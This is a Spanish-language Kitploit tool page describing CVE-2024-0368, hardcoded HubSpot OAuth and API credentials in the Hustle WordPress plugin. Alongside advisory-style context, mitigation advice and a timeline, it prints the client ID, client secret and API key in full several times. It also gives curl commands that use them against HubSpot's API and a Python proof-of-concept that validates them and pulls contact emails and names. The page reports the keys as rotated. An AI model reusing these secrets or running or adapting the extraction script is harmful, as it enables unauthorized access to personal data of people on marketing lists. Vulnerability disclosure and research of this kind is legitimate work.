Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-0368 — Hustle Plugin <= 7.8.3 contiene credenciales de API de HubSpot hardcodeadas en inc/providers/hubspot/hustle-hubspot-api.php | Kitploit
Herramientas/GitHubGitHub/randomrobbiebf/cve-2024-0368
Análisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad WebDetección de SecretosAprendizaje y Educación
GitHubrandomrobbiebf/cve-2024-0368

CVE-2024-0368

Hustle Plugin <= 7.8.3 contiene credenciales de API de HubSpot hardcodeadas en inc/providers/hubspot/hustle-hubspot-api.php

Ver Repositorio
1hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-0368

El plugin Hustle <= 7.8.3 contiene credenciales de la API de HubSpot codificadas en inc/providers/hubspot/hustle-hubspot-api.php

Resumen de la vulnerabilidad

CampoValor
ID de CVECVE-2024-0368
TítuloHustle <= 7.8.3 - Exposición de información sensible a través de claves de API de HubSpot expuestas
Puntuación CVSS8.6 (Alta)
Plugin afectadoHustle - Email Marketing, Lead Generation, Optins, Popups (wordpress-popup)
Versiones vulnerables<= 7.8.3
Versión corregida7.8.4
Tipo de vulnerabilidadCWE-200: Exposición de información sensible

Análisis técnico

Ubicación del código vulnerable

Archivo: inc/providers/hubspot/hustle-hubspot-api.php

root@kitploit:~
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

Credenciales expuestas

Ámbitos de OAuth (Acceso potencial)

La configuración OAuth codificada solicitaba los siguientes ámbitos de HubSpot:

  • oauth - Autenticación OAuth
  • crm.objects.contacts.write - Crear/modificar contactos
  • crm.objects.contacts.read - Leer información de contacto (PII)
  • crm.lists.read - Leer listas de marketing
  • crm.lists.write - Modificar listas de marketing
  • crm.schemas.contacts.write - Modificar esquemas de contacto
  • crm.schemas.contacts.read - Leer esquemas de contacto

Explicación de la vulnerabilidad

Causa raíz

WPMUDEV codificó sus propias credenciales de aplicación OAuth de HubSpot directamente en el código fuente del plugin. Esto es una violación de las prácticas de desarrollo seguro ya que:

  1. Exposición pública: Los plugins de WordPress son de código abierto - el código está disponible públicamente en el repositorio SVN de wordpress.org
  2. Distribución masiva: El plugin Hustle tiene más de 100,000 instalaciones activas
  3. Credenciales compartidas: Todas las instalaciones del plugin comparten las mismas credenciales de API

Vector de ataque

Un atacante podría:

  1. Descargar el plugin vulnerable desde wordpress.org
  2. Extraer las credenciales codificadas del código PHP
  3. Usar estas credenciales para autenticarse en la API de HubSpot
  4. Acceder a la cuenta de HubSpot de WPMUDEV y a cualquier dato procesado a través de su integración

Impacto potencial

Con credenciales válidas, un atacante podría potencialmente:

  • Leer PII: Acceder a información de contacto (nombres, correos electrónicos, números de teléfono, direcciones)
  • Modificar datos: Crear, actualizar o eliminar contactos en HubSpot
  • Acceso a listas de marketing: Ver y manipular listas de marketing
  • Exfiltración de datos: Extraer datos de suscriptores de sitios que usan la integración Hustle + HubSpot

Prueba de concepto

Paso 1: Localizar el archivo vulnerable

root@kitploit:~
# Desde la instalación de WordPress
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

Salida:

root@kitploit:~
const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

Paso 2: Probar el acceso con clave de API (Contactos)

root@kitploit:~
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

Nota: Al momento de las pruebas, la clave de API ha sido rotada/expirada (esperado tras la divulgación):

root@kitploit:~
{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

Paso 3: Probar el flujo OAuth

root@kitploit:~
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

Respuesta: Las credenciales han sido invalidadas.

Script de explotación (Python)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3

This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.

For authorized security testing only.
"""

import requests
import json

# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """Test if the leaked API key is still valid"""
    print("[*] Testing HubSpot API Key...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API Key is VALID - Vulnerability Exploitable!")
        print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
        return False

def test_oauth():
    """Test OAuth client credentials"""
    print("[*] Testing OAuth credentials...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth credentials VALID - Got access token!")
        return result["access_token"]
    else:
        print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """Extract contacts if credentials are valid"""
    print("[*] Attempting to extract contacts...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
    print("=" * 60)
    print()

    # Test leaked credentials
    api_valid = test_api_key()
    access_token = test_oauth()

    print()
    if api_valid or access_token:
        print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
        extract_contacts(
            api_key=CREDENTIALS["hapikey"] if api_valid else None,
            access_token=access_token
        )
    else:
        print("[*] Credentials have been rotated (expected post-disclosure)")
        print("[*] Vulnerability exists in code - credentials were exposed")

    print()
    print("=" * 60)

Resultados de verificación

Entorno:

  • WordPress: Ejecutándose en Docker
  • Versión del plugin: 7.8.2 (Vulnerable)
  • Archivo vulnerable: Confirmado presente con credenciales codificadas

Estado de las credenciales:

  • Clave de API (HAPIKEY): Expirada/Rotada (tras la divulgación)
  • Credenciales OAuth: Invalidadas (tras la divulgación)

Conclusión: La vulnerabilidad está confirmada - las credenciales codificadas existen en el código fuente y eran explotables anteriormente. WPMUDEV rotó las credenciales tras la divulgación responsable.

Mitigación

Corrección del proveedor (v7.8.4+)

El parche elimina las credenciales codificadas e implementa un almacenamiento adecuado de credenciales:

  • Las credenciales se movieron a la base de datos/configuración del entorno
  • Los usuarios ahora deben configurar sus propias credenciales de API de HubSpot
  • No hay credenciales compartidas entre instalaciones

Recomendaciones para el usuario

  1. Actualizar inmediatamente: Actualizar a Hustle 7.8.4 o posterior
  2. Reconfigurar HubSpot: Configurar la integración de HubSpot con tus propias credenciales
  3. Auditar registros de acceso: Revisar HubSpot para detectar acceso no autorizado a la API durante el período vulnerable

Cronología

FechaEvento
2024-01-05CVE-2024-0368 publicado
2024-03-08Parche lanzado en la versión 7.8.4
Tras la divulgaciónCredenciales rotadas por WPMUDEV

Referencias

  • Wordfence Advisory
  • WordPress Plugin Changeset
  • Documentación de la API de HubSpot
  • Entrada de NVD

Generado para fines de investigación de seguridad autorizada

Descargar herramienta
CredencialValorPropósito
CLIENT_ID5253e533-2dd2-48fd-b102-b92b8f250d1bIdentificador de aplicación OAuth2
CLIENT_SECRET2ed54e79-6ceb-4fc6-96d9-58b4f98e6bcaSecreto de cliente OAuth2
HAPIKEYdb9600bf-648c-476c-be42-6621d7a1f96aClave de API heredada de HubSpot